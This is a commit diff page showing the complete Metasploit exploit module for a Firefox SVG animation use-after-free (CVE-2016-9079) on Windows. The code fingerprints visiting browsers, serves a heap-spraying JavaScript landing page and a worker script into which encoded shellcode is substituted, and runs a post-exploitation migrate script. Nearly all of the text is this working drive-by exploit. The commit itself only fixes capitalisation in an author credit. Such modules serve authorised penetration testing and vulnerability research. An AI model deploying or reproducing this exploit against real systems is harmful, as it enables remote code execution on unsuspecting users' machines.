address msftidy complaints
parent
2513b5bbe5
commit
d8f04ccc18
|
@ -1,281 +1,281 @@
|
||||||
##
|
##
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class MetasploitModule < Msf::Exploit::Remote
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
Rank = GreatRanking
|
Rank = GreatRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpServer
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE",
|
'Name' => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE",
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits an out-of-bounds indexing/use-after-free condition present in
|
This module exploits an out-of-bounds indexing/use-after-free condition present in
|
||||||
nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox
|
nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox
|
||||||
on Microsoft Windows.
|
on Microsoft Windows.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Anonymous gaijin', # Original research/exploit
|
'Anonymous Gaijin', # Original research/exploit
|
||||||
'William Webb <william_webb[at]rapid7.com>' # Metasploit module
|
'William Webb <william_webb[at]rapid7.com>' # Metasploit module
|
||||||
],
|
],
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'Mozilla Firefox',
|
[ 'Mozilla Firefox',
|
||||||
{
|
{
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Arch' => ARCH_X86,
|
'Arch' => ARCH_X86,
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'EXITFUNC' => "thread",
|
'EXITFUNC' => "thread",
|
||||||
'InitialAutoRunScript' => 'migrate -f'
|
'InitialAutoRunScript' => 'migrate -f'
|
||||||
},
|
},
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'CVE', '2016-9079' ],
|
[ 'CVE', '2016-9079' ],
|
||||||
[ 'Bugzilla', '1321066' ]
|
[ 'Bugzilla', '1321066' ]
|
||||||
],
|
],
|
||||||
'Arch' => ARCH_X86,
|
'Arch' => ARCH_X86,
|
||||||
'DisclosureDate' => "May 10 2016",
|
'DisclosureDate' => "May 10 2016",
|
||||||
'DefaultTarget' => 0
|
'DefaultTarget' => 0
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation. NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]),
|
OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation. NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]),
|
||||||
], self.class
|
], self.class
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit_html(cli)
|
def exploit_html(cli)
|
||||||
p = payload.encoded
|
p = payload.encoded
|
||||||
arch = Rex::Arch.endian(target.arch)
|
arch = Rex::Arch.endian(target.arch)
|
||||||
payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u')
|
payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u')
|
||||||
base_uri = "#{get_resource.chomp('/')}"
|
base_uri = "#{get_resource.chomp('/')}"
|
||||||
|
|
||||||
# stuff that gets adjusted alot during testing
|
# stuff that gets adjusted alot during testing
|
||||||
|
|
||||||
defrag_x = %Q~
|
defrag_x = %Q~
|
||||||
for (var i = 0; i < 0x4000; i++)
|
for (var i = 0; i < 0x4000; i++)
|
||||||
heap80[i] = block80.slice(0)
|
heap80[i] = block80.slice(0)
|
||||||
~
|
~
|
||||||
defrag_y = %Q~
|
defrag_y = %Q~
|
||||||
for (var i = 0x4401; i < heap80.length; i++)
|
for (var i = 0x4401; i < heap80.length; i++)
|
||||||
heap80[i] = block80.slice(0)
|
heap80[i] = block80.slice(0)
|
||||||
~
|
~
|
||||||
|
|
||||||
js = %Q~
|
js = %Q~
|
||||||
var worker = new Worker('#{base_uri}/worker.js');
|
var worker = new Worker('#{base_uri}/worker.js');
|
||||||
var svgns = 'http://www.w3.org/2000/svg';
|
var svgns = 'http://www.w3.org/2000/svg';
|
||||||
var heap80 = new Array(0x5000);
|
var heap80 = new Array(0x5000);
|
||||||
var heap100 = new Array(0x5000);
|
var heap100 = new Array(0x5000);
|
||||||
var block80 = new ArrayBuffer(0x80);
|
var block80 = new ArrayBuffer(0x80);
|
||||||
var block100 = new ArrayBuffer(0x100);
|
var block100 = new ArrayBuffer(0x100);
|
||||||
var sprayBase = undefined;
|
var sprayBase = undefined;
|
||||||
var arrBase = undefined;
|
var arrBase = undefined;
|
||||||
|
|
||||||
var animateX = undefined;
|
var animateX = undefined;
|
||||||
var containerA = undefined;
|
var containerA = undefined;
|
||||||
|
|
||||||
var milestone_offset = 0x90;
|
var milestone_offset = 0x90;
|
||||||
|
|
||||||
var $ = function(id) { return document.getElementById(id); }
|
var $ = function(id) { return document.getElementById(id); }
|
||||||
|
|
||||||
var heap = function()
|
var heap = function()
|
||||||
{
|
{
|
||||||
var u32 = new Uint32Array(block80)
|
var u32 = new Uint32Array(block80)
|
||||||
|
|
||||||
u32[4] = arrBase - milestone_offset;
|
u32[4] = arrBase - milestone_offset;
|
||||||
|
|
||||||
u32[0xa] = arrBase + 0x1000 - milestone_offset;
|
u32[0xa] = arrBase + 0x1000 - milestone_offset;
|
||||||
|
|
||||||
u32[0x10] = arrBase + 0x2000 - milestone_offset;
|
u32[0x10] = arrBase + 0x2000 - milestone_offset;
|
||||||
|
|
||||||
var x = document.createElementNS(svgns, 'animate')
|
var x = document.createElementNS(svgns, 'animate')
|
||||||
var svg = document.createElementNS(svgns, 'svg')
|
var svg = document.createElementNS(svgns, 'svg')
|
||||||
|
|
||||||
svg.appendChild(x)
|
svg.appendChild(x)
|
||||||
svg.appendChild(x.cloneNode(true))
|
svg.appendChild(x.cloneNode(true))
|
||||||
|
|
||||||
for (var i = 0; i < 0x400; i++)
|
for (var i = 0; i < 0x400; i++)
|
||||||
{
|
{
|
||||||
var node = svg.cloneNode(true);
|
var node = svg.cloneNode(true);
|
||||||
node.setAttribute('id', 'svg' + i)
|
node.setAttribute('id', 'svg' + i)
|
||||||
document.body.appendChild(node);
|
document.body.appendChild(node);
|
||||||
}
|
}
|
||||||
#{defrag_x}
|
#{defrag_x}
|
||||||
|
|
||||||
for (var i = 0; i < 0x400; i++)
|
for (var i = 0; i < 0x400; i++)
|
||||||
{
|
{
|
||||||
heap80[i + 0x3000] = block80.slice(0)
|
heap80[i + 0x3000] = block80.slice(0)
|
||||||
$('svg' + i).appendChild(x.cloneNode(true))
|
$('svg' + i).appendChild(x.cloneNode(true))
|
||||||
}
|
}
|
||||||
|
|
||||||
for (var i = 0; i < 0x400; i++)
|
for (var i = 0; i < 0x400; i++)
|
||||||
{
|
{
|
||||||
$('svg' + i).appendChild(x.cloneNode(true))
|
$('svg' + i).appendChild(x.cloneNode(true))
|
||||||
$('svg' + i).appendChild(x.cloneNode(true))
|
$('svg' + i).appendChild(x.cloneNode(true))
|
||||||
}
|
}
|
||||||
|
|
||||||
for (var i = 0; i < heap100.length; i++)
|
for (var i = 0; i < heap100.length; i++)
|
||||||
heap100[i] = block100.slice(0)
|
heap100[i] = block100.slice(0)
|
||||||
|
|
||||||
#{defrag_y}
|
#{defrag_y}
|
||||||
|
|
||||||
for (var i = 0x100; i < 0x400; i++)
|
for (var i = 0x100; i < 0x400; i++)
|
||||||
$('svg' + i).appendChild(x.cloneNode(true))
|
$('svg' + i).appendChild(x.cloneNode(true))
|
||||||
}
|
}
|
||||||
|
|
||||||
var exploit = function()
|
var exploit = function()
|
||||||
{
|
{
|
||||||
heap();
|
heap();
|
||||||
|
|
||||||
animateX.setAttribute('begin', '59s')
|
animateX.setAttribute('begin', '59s')
|
||||||
animateX.setAttribute('begin', '58s')
|
animateX.setAttribute('begin', '58s')
|
||||||
animateX.setAttribute('begin', '10s')
|
animateX.setAttribute('begin', '10s')
|
||||||
animateX.setAttribute('begin', '9s')
|
animateX.setAttribute('begin', '9s')
|
||||||
|
|
||||||
// money shot
|
// money shot
|
||||||
|
|
||||||
containerA.pauseAnimations();
|
containerA.pauseAnimations();
|
||||||
}
|
}
|
||||||
|
|
||||||
worker.onmessage = function(e)
|
worker.onmessage = function(e)
|
||||||
{
|
{
|
||||||
worker.onmessage = function(e)
|
worker.onmessage = function(e)
|
||||||
{
|
{
|
||||||
window.setTimeout(function()
|
window.setTimeout(function()
|
||||||
{
|
{
|
||||||
worker.terminate();
|
worker.terminate();
|
||||||
document.body.innerHTML = '';
|
document.body.innerHTML = '';
|
||||||
document.getElementsByTagName('head')[0].innerHTML = '';
|
document.getElementsByTagName('head')[0].innerHTML = '';
|
||||||
document.body.setAttribute('onload', '')
|
document.body.setAttribute('onload', '')
|
||||||
document.write('<blink>')
|
document.write('<blink>')
|
||||||
}, 1000);
|
}, 1000);
|
||||||
}
|
}
|
||||||
|
|
||||||
arrBase = e.data;
|
arrBase = e.data;
|
||||||
exploit();
|
exploit();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
var idGenerator = function()
|
var idGenerator = function()
|
||||||
{
|
{
|
||||||
return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
|
return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
var craftDOM = function()
|
var craftDOM = function()
|
||||||
{
|
{
|
||||||
containerA = document.createElementNS(svgns, 'svg')
|
containerA = document.createElementNS(svgns, 'svg')
|
||||||
var containerB = document.createElementNS(svgns, 'svg');
|
var containerB = document.createElementNS(svgns, 'svg');
|
||||||
|
|
||||||
animateX = document.createElementNS(svgns, 'animate')
|
animateX = document.createElementNS(svgns, 'animate')
|
||||||
var animateA = document.createElementNS(svgns, 'animate')
|
var animateA = document.createElementNS(svgns, 'animate')
|
||||||
var animateB = document.createElementNS(svgns, 'animate')
|
var animateB = document.createElementNS(svgns, 'animate')
|
||||||
|
|
||||||
var animateC = document.createElementNS(svgns, 'animate')
|
var animateC = document.createElementNS(svgns, 'animate')
|
||||||
|
|
||||||
var idX = idGenerator();
|
var idX = idGenerator();
|
||||||
var idA = idGenerator();
|
var idA = idGenerator();
|
||||||
var idB = idGenerator();
|
var idB = idGenerator();
|
||||||
var idC = idGenerator();
|
var idC = idGenerator();
|
||||||
|
|
||||||
animateX.setAttribute('id', idX);
|
animateX.setAttribute('id', idX);
|
||||||
animateA.setAttribute('id', idA);
|
animateA.setAttribute('id', idA);
|
||||||
animateA.setAttribute('end', '50s');
|
animateA.setAttribute('end', '50s');
|
||||||
animateB.setAttribute('id', idB);
|
animateB.setAttribute('id', idB);
|
||||||
animateB.setAttribute('begin', '60s');
|
animateB.setAttribute('begin', '60s');
|
||||||
animateB.setAttribute('end', idC + '.end');
|
animateB.setAttribute('end', idC + '.end');
|
||||||
animateC.setAttribute('id', idC);
|
animateC.setAttribute('id', idC);
|
||||||
animateC.setAttribute('begin', '10s');
|
animateC.setAttribute('begin', '10s');
|
||||||
animateC.setAttribute('end', idA + '.end');
|
animateC.setAttribute('end', idA + '.end');
|
||||||
|
|
||||||
containerA.appendChild(animateX)
|
containerA.appendChild(animateX)
|
||||||
containerA.appendChild(animateA)
|
containerA.appendChild(animateA)
|
||||||
containerA.appendChild(animateB)
|
containerA.appendChild(animateB)
|
||||||
|
|
||||||
containerB.appendChild(animateC)
|
containerB.appendChild(animateC)
|
||||||
|
|
||||||
document.body.appendChild(containerA);
|
document.body.appendChild(containerA);
|
||||||
document.body.appendChild(containerB);
|
document.body.appendChild(containerB);
|
||||||
}
|
}
|
||||||
window.onload = craftDOM;
|
window.onload = craftDOM;
|
||||||
~
|
~
|
||||||
|
|
||||||
# If you want to change the appearance of the landing page, do it here
|
# If you want to change the appearance of the landing page, do it here
|
||||||
|
|
||||||
html = %Q~
|
html = %Q~
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
<meta charset="utf-8"/>
|
<meta charset="utf-8"/>
|
||||||
<script>
|
<script>
|
||||||
#{js}
|
#{js}
|
||||||
</script>
|
</script>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
~
|
~
|
||||||
|
|
||||||
if datastore['UsePostHTML']
|
if datastore['UsePostHTML']
|
||||||
f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb")
|
f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb")
|
||||||
c = f.read
|
c = f.read
|
||||||
html = html.gsub("<blink>", c)
|
html = html.gsub("<blink>", c)
|
||||||
else
|
else
|
||||||
html = html.gsub("<blink>", "")
|
html = html.gsub("<blink>", "")
|
||||||
end
|
end
|
||||||
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
||||||
end
|
end
|
||||||
|
|
||||||
def worker_js(cli)
|
def worker_js(cli)
|
||||||
p = payload.encoded
|
p = payload.encoded
|
||||||
arch = Rex::Arch.endian(target.arch)
|
arch = Rex::Arch.endian(target.arch)
|
||||||
payload = Rex::Text.to_unescape(p, arch)
|
payload = Rex::Text.to_unescape(p, arch)
|
||||||
wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb")
|
wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb")
|
||||||
c = wt.read
|
c = wt.read
|
||||||
c = c.gsub("INSERTSHELLCODEHEREPLZ", payload)
|
c = c.gsub("INSERTSHELLCODEHEREPLZ", payload)
|
||||||
c = c.gsub("NOPSGOHERE", "\u9090")
|
c = c.gsub("NOPSGOHERE", "\u9090")
|
||||||
send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
||||||
end
|
end
|
||||||
|
|
||||||
def is_ff_on_windows(user_agent)
|
def is_ff_on_windows(user_agent)
|
||||||
target_hash = fingerprint_user_agent(user_agent)
|
target_hash = fingerprint_user_agent(user_agent)
|
||||||
if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/
|
if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
print_status("Got request: #{request.uri}")
|
print_status("Got request: #{request.uri}")
|
||||||
print_status("From: #{request.headers['User-Agent']}")
|
print_status("From: #{request.headers['User-Agent']}")
|
||||||
if (!is_ff_on_windows(request.headers['User-Agent']))
|
if (!is_ff_on_windows(request.headers['User-Agent']))
|
||||||
print_error("Unsupported user agent: #{request.headers['User-Agent']}")
|
print_error("Unsupported user agent: #{request.headers['User-Agent']}")
|
||||||
send_not_found(cli)
|
send_not_found(cli)
|
||||||
close_client(cli)
|
close_client(cli)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
if request.uri =~ /worker\.js/
|
if request.uri =~ /worker\.js/
|
||||||
print_status("Sending worker thread Javascript ...")
|
print_status("Sending worker thread Javascript ...")
|
||||||
worker_js(cli)
|
worker_js(cli)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
if request.uri =~ /index\.html/ or request.uri =~ /\//
|
if request.uri =~ /index\.html/ or request.uri =~ /\//
|
||||||
|
|
||||||
print_status("Sending exploit HTML ...")
|
print_status("Sending exploit HTML ...")
|
||||||
exploit_html(cli)
|
exploit_html(cli)
|
||||||
close_client(cli)
|
close_client(cli)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue